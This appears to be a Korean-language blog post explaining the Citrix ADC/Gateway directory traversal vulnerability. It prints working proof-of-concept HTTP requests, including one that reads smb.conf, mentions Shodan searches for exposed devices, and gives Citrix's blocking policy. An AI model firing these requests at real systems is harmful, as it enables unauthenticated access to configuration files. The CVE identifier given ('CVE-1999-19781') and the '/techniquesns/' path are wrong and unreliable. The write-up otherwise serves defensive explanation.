loading
본문으로 바로가기

Intro

CitrixADC는 CitrixSystems가 소유하는 네트워크 제품 군입니다.

CitrixSystems의 제품들은 소프트웨어 정의 광역 네트워킹 관리를 제공하는 CitrixADC, ADC(ApplicationDeliveryController), NetScalerAppFirewall, 애플리케이션 방화벽, NetScalerUnifiedGateway, NetScalerManagement&AnalyticsSystem, NetScalerSD-WAN으로 구성이 되어 있습니다.

 

Summary

[NetScaler 로그인 화면]

 

NetScaler는 1997년 MichelKSusai에 의해 처음 개발되었으며 2005년 Citrix에 인수되었습니다. 그리고 Citrix은 2016년에 비로서, NetScaler 브랜드로 모든 네트워킹 제품을 통합했습니다.

 

해당 취약점으로는 CitrixADC(ApplicationDeliveryController) 및 CitrixGateway에서 취약성이 발견되었으며, 이를 통해 원격 공격자는 디렉터리 통과 요청을 쉽게 보내고, 사용자 인증 없이 시스템 구성 파일에서 중요한 정보를 읽고, 임의 코드를 원격으로 실행할 수 있었습니다.

 

이 취약성은 지원되는 모든 제품 버전과 지원되는 모든 플랫폼에 영향을 주었습니다.

 

Explanation

1. 취약한 버젼

- CitrixADC 및 CitrixGateway 13.0 지원되는 모든 빌드
- CitrixADC 및 NetScalerGateway 12.1 지원되는 모든 빌드
- CitrixADC 및 NetScalerGateway 12.0 지원되는 모든 빌드
- CitrixADC 및 NetScalerGateway 11.1 지원되는 모든 빌드
- CitrixNetScalerADC 및 NetScalerGateway 10.5 지원되는 모든 빌드

해당 취약점은 CVE-1999-19781을 사용하며, 스캐닝을 시도된 흔적들을 발견하였습니다.

2020년 1월 10일에 취약점은 처음 공개하였고 위협 방지를 위해서 2020년 1월 7일에 고객에 대한 보호를 발표했습니다.

 

2. Payload

Directory traversal 취약점을 이용하여 경로명을 잘못 처리하여 발생되며, 시스템은 검증을 하지않고 들어오는 요청에 직접 경로를 사용하게 됩니다.

 

/vpn/../vpns/services.html

/vpn/.. 경로를 포함하여 요청하는 경우 /vpns/services.html Citrix제품에서 실행되는 Apache서버로 /vpn/..에서 경로를 변환하여 /vpns/로 간단히 진입하게 됩니다.

 

/vpn/../vpns/cfg/smb.conf

Apache 시스템에는 해당 취약점이 있으며, 이를 통해 원격 공격자는 사용자 인증 없이 디렉터리 통과 요청을 이용하고 /vpns/cfg/smb.conf 와 같이 중요한 설정파일을 액세스 할 수 있게 됩니다.

 

*추가

Get/vpn/.. /vpns/portal/scripts/newbm.pl HTTP/1.1
Get/vpn/.. /vpns/portal/scripts/rmbm.pl HTTP/1.1

 

3. 공격구문

Request

GET /vpn/../vpns/services.html HTTP/1.1
Host:
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac os x 10_13_6) ApplewebKit/537.36 ( KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */*;q=0.8 ,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate
Accept-Language: en-Us,en;q=0.9
Response

HTTP/1.1 200 OK
Date: Fri, 10 Jan 2020 18:11:40 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Last-Modified: Wed, 13 Nov 2019 17 :06:53 GMT
ETag: c2-5973d642ca540
Accept-Ranges: bytes
Content-Length: 194
X-XsS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Connection : close
Content-Type: text/html; charset=UTF-8
<HTML>
<HEAD>
<meta http-equiv="Expires" content="Sat, 1 Jan 2000 08:00:00 GMT " />
<META HTTP-EQUIV="Refresh" content="0;URL=/logon/themes/Default/homepage.html">
</HEAD>
<BODY>
</BODY>
</HTML>

[PoC요청에 대한 성공적인 응답]

 

Request

GET /vpn/../vpns/cfg/smb.conf HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS x 10.14; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8, en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://000000000/vpn/
Connection: close

Response

HTTP/1.1 200 OK
Age: 1
Date: Wed, 08 Jan 2020 12:09:26 GMT
Connection: Keep-Alive
Via: NS-CACHE-10.0: 81
ETag:  
Server: Apache
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 03 Sep 2019 20:53:47 GMT
Accept-Ranges: bytes
Content-Length: 83
X-XSS-Protection: 1; mode=block
Keep-Alive: timeout=15, max=100
Content-Type: text/plain; charset=UTF-8

[global]
encrypt passwords = yes
name resolve order = lmhosts wins host bcast

[PoC요청으로 smb.conf 파일에 성공적으로 액세스]

 

[SHODAN을 통한 Citrix 제품 검색결과]

 

Shodan의 Citrix를 대상으로 하는 간단한 검색을 통해 취약한 Citrix제품을 나타내는 수많은 결과들을 도출하였으며, Citrix는 1월 말에 CitrixADC및 CitrixGateway 10, 11, 12 및 13에 대한 패치가 릴리즈 될 것이라고 발표했습니다.

 

※ 해결방안

add responder action respondwith403 respondwith "\"HTTP/1.1 403 
Forbidden\r\n\r\n\""
 
add responder policy ctx267027 
"HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && 
(!CLIENT.SSLVPN.IS_SSLVPN || 
HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" 
respondwith403

Citrix는 사용자에게 특정 응답자 정책을 적용하여, 공격 시도를 필터링 할 것을 권장하였습니다.

Directory traversal 시도 /../가 포함된 요청을 차단하고 /techniquesns/ 디렉터리에 액세스 하려는 요청도 차단하는 기술을 설명을 작성해 놓았습니다.

 

참고사항

https://unit42.paloaltonetworks.com/

 

Unit 42 - Latest Cyber Security Research | Palo Alto Networks

This post is also available in: 日本語 (Japanese)

unit42.paloaltonetworks.com